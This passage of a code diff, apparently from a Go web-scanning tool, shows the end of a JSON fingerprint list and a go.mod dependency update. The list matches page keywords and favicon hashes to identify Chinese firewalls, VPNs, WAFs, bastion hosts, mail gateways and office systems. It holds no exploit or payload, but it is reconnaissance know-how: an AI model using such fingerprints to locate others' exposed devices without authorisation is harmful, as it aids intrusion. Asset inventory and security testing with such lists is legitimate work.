0, - "headers": {}, - "keyword": [ - "fumasoft", - "孚盟云" - ], - "favicon_hash": [], - "priority": 1, - "name": "孚盟云" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "id=\"dynamicpasswordwithmobile\">" - ], - "favicon_hash": [], - "priority": 3, - "name": "宁盾-一体化安全认证平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "安博通应用网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "安博通应用网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "DBAPPSecurity", - "安恒云堡垒机" - ], - "favicon_hash": [], - "priority": 3, - "name": "安恒云堡垒机" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "scripts/app.waf.system.login.js", - "明御web应用防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "安恒信息-明御web应用防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "明御安全网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "安恒信息-明御安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "明御数据库审计" - ], - "favicon_hash": [], - "priority": 3, - "name": "安恒信息-明御数据库审计与风险控制系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "明御", - "综合日志审计分析平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "安恒信息-明御综合日志审计" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "明御运维审计" - ], - "favicon_hash": [], - "priority": 3, - "name": "安恒信息-明御运维审计与风险控制系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "网站安全监测平台", - "网站安全检测平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "安恒信息-明鉴网站安全监测平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "dbapp security", - "scripts/web-common.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "安恒信息-防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "安网科技-智能路由系统", - "var save_time=72;//小时数" - ], - "favicon_hash": [], - "priority": 3, - "name": "安网科技-智能路由系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "tpn-2g网关控制台管理员登录", - "$('#submitid').bind('click',checksubmitfn);\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "安达通-tpn网关控制台登陆系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "sjw74 vpn网关控制台管理员登录", - "$('#submitid').bind('click',checksubmitfn);\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "安达通-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - " 客服邮箱support@suremail.cn", - "content=\"北京国信安邮科技有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "安邮-安全邮件" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "GLOBAL_CONFIG.js", - "Hillstone", - "licenseAggrement" - ], - "favicon_hash": [], - "priority": 3, - "name": "山石网科防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"qyxt.html\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "工控安全隐患治理项目系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "
    管理系统 MANAGEMENT SYSTEM
    " - ], - "favicon_hash": [], - "priority": 1, - "name": "微三云管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "jtpsoft style1", - "images/l_name.jpg" - ], - "favicon_hash": [], - "priority": 3, - "name": "惠尔顿-e地通vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/base/img/login_logo_ngaf.jpg", - "惠尔顿下一代防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "惠尔顿-下一代防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "title').text('视频会议安全系统", - "id=\"view-login\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "慧盾安全-视频核心安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "应用安全网关", - "webui/images/basic/login/main_logo.gif" - ], - "favicon_hash": [], - "priority": 3, - "name": "技腾-应用安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "护卫神.网站安全系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "护卫神-网站安全系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "edp-web/login.jsp" - ], - "favicon_hash": [], - "priority": 3, - "name": "接入网关管理平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"eqmail.ico", - "powered by eqmail!" - ], - "favicon_hash": [], - "priority": 3, - "name": "敏讯科技-eqmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/cgi-bin/spammark?empty=1", - "spammark邮件信息安全网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "敏讯科技-spammark邮件信息安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "\"../../DC_Login/QYSignUp\"" - ], - "favicon_hash": [], - "priority": 1, - "name": "数字化校园综合管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "文网卫士安全路由器" - ], - "favicon_hash": [], - "priority": 3, - "name": "文网亿联-文网卫士安全路由器" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/webmail//cssv2/tamail.css\"", - "src=\"cgijson/getloginimg.php?img=logo" - ], - "favicon_hash": [], - "priority": 3, - "name": "新网互联-准讯邮件系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "方标-csmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "明源云ERP" - ], - "favicon_hash": [], - "priority": 1, - "name": "明源云erp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/ymail/default/js/menu.js", - "ymail's 智能反垃圾邮件系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "易邮-智能反垃圾邮件系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "login_form", - "styles/images/logo.png", - "防病毒" - ], - "favicon_hash": [], - "priority": 1, - "name": "景云网络防病毒系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "majorsec" - ], - "favicon_hash": [], - "priority": 3, - "name": "杰思安全-猎鹰主机安全响应系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "梭子鱼垃圾邮件防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "梭子鱼垃圾邮件防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "f07d5960a56ea44c35496bf1dea9a015" - ], - "priority": 3, - "name": "正通慧丰实例控制台-oa" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "永中文档在线预览DCS" - ], - "favicon_hash": [], - "priority": 1, - "name": "永中dcs" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Management System", - "img/inspur_logo.png" - ], - "favicon_hash": [], - "priority": 1, - "name": "浪潮服务器lpmi管理口" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "technology, inc.", - "福建省海峡信息技术有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "海峡信息-黑盾网络安全审计系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "黑盾运维安全网关(hd-sgs/v4.0)" - ], - "favicon_hash": [], - "priority": 3, - "name": "海峡信息-黑盾运维安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "MSHTML", - "login", - "流媒体管理服务器" - ], - "favicon_hash": [], - "priority": 1, - "name": "海康威视流媒体管理服务器" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "commonFunction.js", - "rsa.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "深信服waf" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/LogInOut.php", - "Redirect to..." - ], - "favicon_hash": [], - "priority": 3, - "name": "深信服waf" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "WEB防篡改", - "cgi-bin/tamper_admin.cgi" - ], - "favicon_hash": [], - "priority": 1, - "name": "深信服web防篡改管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "document.write(WRFWWCSFBXMIGKRKHXFJ" - ], - "favicon_hash": [], - "priority": 3, - "name": "深信服上网行为管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "utccjfaewjb = function(str, key)" - ], - "favicon_hash": [], - "priority": 3, - "name": "深信服上网行为管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "NGAF", - "SANGFOR", - "login" - ], - "favicon_hash": [], - "priority": 3, - "name": "深信服下一代防火墙-ngaf" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "apps", - "login.js", - "安全感知平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "深信服安全感知平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "/reportCenter/index.php?cls_mode=cluster_mode_others" - ], - "favicon_hash": [], - "priority": 3, - "name": "深信服应用交付报表系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Etag": "*" - }, - "keyword": [ - "location.href = \"./ui/\";", - "Loading..." - ], - "favicon_hash": [], - "priority": 1, - "name": "深信服行为感知系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "837f7af9a5509a71122fe77505e4451c" - ], - "priority": 3, - "name": "点晴mis管理信息系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "id=\"foot_version\">厦门容能科技有限公司", - "
    爱办公app" - ], - "favicon_hash": [], - "priority": 3, - "name": "爱办公-oa" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"anouncetext\">为了更好的保障企业内网的安全公司决定从即日起全面部署金山企业安全终端防护优化系统", - "在线安装-v8+终端安全系统web控制台" - ], - "favicon_hash": [], - "priority": 3, - "name": "猎鹰安全-金山v8终端安全系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"title\">关于全网部署金山毒霸企业版", - "金山毒霸企业版" - ], - "favicon_hash": [], - "priority": 3, - "name": "猎鹰安全-金山毒霸企业版" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "数据库连接异常您可" - ], - "favicon_hash": [], - "priority": 3, - "name": "猎鹰安全-金山终端安全系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"no-js\">请先启用javascript", - "class=\"col-md-12 col-xs-12 col-lg-12 external_signin_links\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "瑞智康诚-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - " ", - "皓峰防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "皓峰通讯-智能防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "睿峰网云防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "睿峰网云-防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"new_style/placeholderfriend.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "石化盈科-ssl-vpn-远程接入系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "碉堡堡垒机" - ], - "favicon_hash": [], - "priority": 3, - "name": "碉堡堡垒机-产品" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "科信邮件系统", - "powered by #username  " - ], - "favicon_hash": [], - "priority": 3, - "name": "科来-网络全流量安全分析系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "qccodewidth1 = document.getelementbyid(\"divqrcode\")", - "class=\"pad-0 pt-2 pb-2 text-center tc-gray mt-1\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "移动办公oa" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"icon iconxinan\"", - "class=\"icon-container wrapper\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "移动办公及工作督办系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "移动办公系统", - "window.location.href = '/ui/html/login.html';" - ], - "favicon_hash": [], - "priority": 3, - "name": "移动办公系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "action=\"/logincheck\"", - "class=\"login-head clearfix\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "简网科技-防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "紫光档案管理系统" - ], - "favicon_hash": [ - "3e2ee25dc73811fe2a697deefe447017" - ], - "priority": 3, - "name": "紫光档案管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "紫光防火墙", - "name=\"adminlogin\" action=\"/cgi-bin/manageaccount\">" - ], - "favicon_hash": [], - "priority": 3, - "name": "紫光集团-紫光防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "iOffice.net" - ], - "favicon_hash": [], - "priority": 3, - "name": "红帆ioffice" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"loadprogress.gif\" alt=\"loading\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "终端安全管理系统报表系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "var right = document.getelementbyid(\"irmmain\")" - ], - "favicon_hash": [], - "priority": 3, - "name": "综合办公系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "client/thickbox.css", - "400-678-3600" - ], - "favicon_hash": [], - "priority": 3, - "name": "网康科技-ns-asg安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/images/dashboard/dashboard.png", - "网康下一代防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "网康科技-下一代防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "网康科技互联网控制网关", - "网康互联网控制网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "网康科技-互联网控制网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "favicon.png", - "网心云设备" - ], - "favicon_hash": [], - "priority": 3, - "name": "网心云设备" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"images/login_logo.gif\"", - "admin/js/virtual_keyboard.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "网神-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "3600防火墙", - "网神SecGate" - ], - "favicon_hash": [], - "priority": 3, - "name": "网神防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "resources/image/logo_header.png", - "网神防火墙系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "网神防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"http://apps.microsoft.com/windows/zh-cn/app/bossmail/24f4bdb3-1bca-467e-9dd9-15a5d278aec6", - "powered by bossmail" - ], - "favicon_hash": [], - "priority": 3, - "name": "老板邮局-bossmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "联软it安全运维管理系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "联软it安全运维管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "leagsoft", - "redirect", - "网络准入" - ], - "favicon_hash": [], - "priority": 3, - "name": "联软准入" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "action=\"/manager/logincontroller.htm?act=login", - "联软it安全运维管理系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "联软科技-it安全运维管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "ccaq_kf@unisk.cn", - "信息安全综合管理平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "联通时科-信息安全综合管理平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/scripts/jquery.landray.common.js", - "蓝凌软件" - ], - "favicon_hash": [], - "priority": 3, - "name": "蓝凌eis智慧协同平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 1, - "name": "蓝海卓越计费管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "蓝盾文档安全管理系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "蓝盾-文档安全管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "防火墙", - "class=\"banquan\">蓝盾信息安全技术股份有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "蓝盾-防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "ifw8", - "login", - "企业级流控云路由器" - ], - "favicon_hash": [], - "priority": 1, - "name": "蜂网企业流控云路由器" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "物联网网关-北京融智兴华科技有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "融智兴华-物联网网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "资产灯塔系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "资产灯塔系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "name=\"secretkey\" id=\"secretkey\"", - "name=\"token_code\"placeholder=\"令牌口令\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "软交换防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "usm", - "运维安全管理平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "运维安全管理平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Jhsoft.Web.login", - "PassWord.aspx" - ], - "favicon_hash": [], - "priority": 3, - "name": "金和协同管理平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "js/passwordcommon.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "金和协同管理平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "js/passwordnew.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "金和协同管理平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "jinher network" - ], - "favicon_hash": [], - "priority": 3, - "name": "金和协同管理平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "c6/jhsoft.web.login", - "closewindownoask" - ], - "favicon_hash": [], - "priority": 3, - "name": "金和协同管理平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "TimeOn", - "iepngfix/iepngfix_tilebg.js" - ], - "favicon_hash": [], - "priority": 1, - "name": "金山timeon云杀毒" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/ClientBin/Kingdee.BOS.XPF.App.xap" - ], - "favicon_hash": [], - "priority": 3, - "name": "金蝶云星空" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "HTML5/content/themes/kdcss.min.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "金蝶云星空" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/js/app", - "/static/img/title.ico", - "锐捷" - ], - "favicon_hash": [], - "priority": 1, - "name": "锐捷-rg-ew1200g" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Otter Manager", - "channelList" - ], - "favicon_hash": [], - "priority": 2, - "name": "阿里巴巴otter-manager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/css/cover_admin.css\"", - "下一代防火墙安全网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "飞鱼星-下一代防火墙安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "languagechange", - "cgi-bin/login" - ], - "favicon_hash": [], - "priority": 3, - "name": "飞鱼星-安全设备" - } -] \ No newline at end of file diff --git a/go.mod b/go.mod index b5a5009..aec2173 100644 --- a/go.mod +++ b/go.mod @@ -8,32 +8,32 @@ require ( github.com/beevik/etree v1.4.0 github.com/buger/jsonparser v1.1.1 github.com/gin-gonic/gin v1.10.0 - github.com/go-rod/rod v0.116.0 + github.com/go-rod/rod v0.116.1 github.com/google/go-github v17.0.0+incompatible // indirect github.com/google/uuid v1.6.0 github.com/json-iterator/go v1.1.12 // indirect github.com/lestrrat-go/file-rotatelogs v2.4.0+incompatible // indirect github.com/logrusorgru/aurora v2.0.3+incompatible github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect - github.com/projectdiscovery/fastdialer v0.0.71 // indirect - github.com/projectdiscovery/goflags v0.1.52 // indirect - github.com/projectdiscovery/hmap v0.0.42 // indirect - github.com/projectdiscovery/ratelimit v0.0.41 - github.com/projectdiscovery/retryablehttp-go v1.0.60 - github.com/projectdiscovery/utils v0.0.93 + github.com/projectdiscovery/fastdialer v0.1.5 // indirect + github.com/projectdiscovery/goflags v0.1.57 // indirect + github.com/projectdiscovery/hmap v0.0.48 // indirect + github.com/projectdiscovery/ratelimit v0.0.45 + github.com/projectdiscovery/retryablehttp-go v1.0.67 + github.com/projectdiscovery/utils v0.1.5 github.com/remeh/sizedwaitgroup v1.0.0 // indirect github.com/rifflock/lfshook v0.0.0-20180920164130-b9218ef580f5 // indirect github.com/rs/xid v1.5.0 // indirect - github.com/shirou/gopsutil/v3 v3.24.4 // indirect + github.com/shirou/gopsutil/v3 v3.24.5 // indirect github.com/sirupsen/logrus v1.9.3 github.com/spaolacci/murmur3 v1.1.0 - github.com/tdewolff/parse/v2 v2.7.14 + github.com/tdewolff/parse/v2 v2.7.15 github.com/thoas/go-funk v0.9.3 github.com/ugorji/go/codec v1.2.12 // indirect go.uber.org/multierr v1.11.0 // indirect go.uber.org/ratelimit v0.3.1 - golang.org/x/net v0.25.0 - golang.org/x/oauth2 v0.20.0 // indirect + golang.org/x/net v0.27.0 + golang.org/x/oauth2 v0.21.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 ) @@ -43,7 +43,7 @@ require ( github.com/Ullaakut/nmap/v2 v2.2.2 github.com/andybalholm/brotli v1.1.0 github.com/charmbracelet/glamour v0.7.0 - github.com/chromedp/cdproto v0.0.0-20240312231614-1e5096e63154 + github.com/chromedp/cdproto v0.0.0-20240614221651-cc28c8fb63e7 github.com/chromedp/chromedp v0.9.5 github.com/deckarep/golang-set/v2 v2.6.0 github.com/denisenkom/go-mssqldb v0.12.3 @@ -54,47 +54,48 @@ require ( github.com/gogf/gf v1.16.9 github.com/golang-jwt/jwt v3.2.2+incompatible github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da - github.com/gorilla/websocket v1.5.1 + github.com/gorilla/websocket v1.5.3 github.com/iancoleman/orderedmap 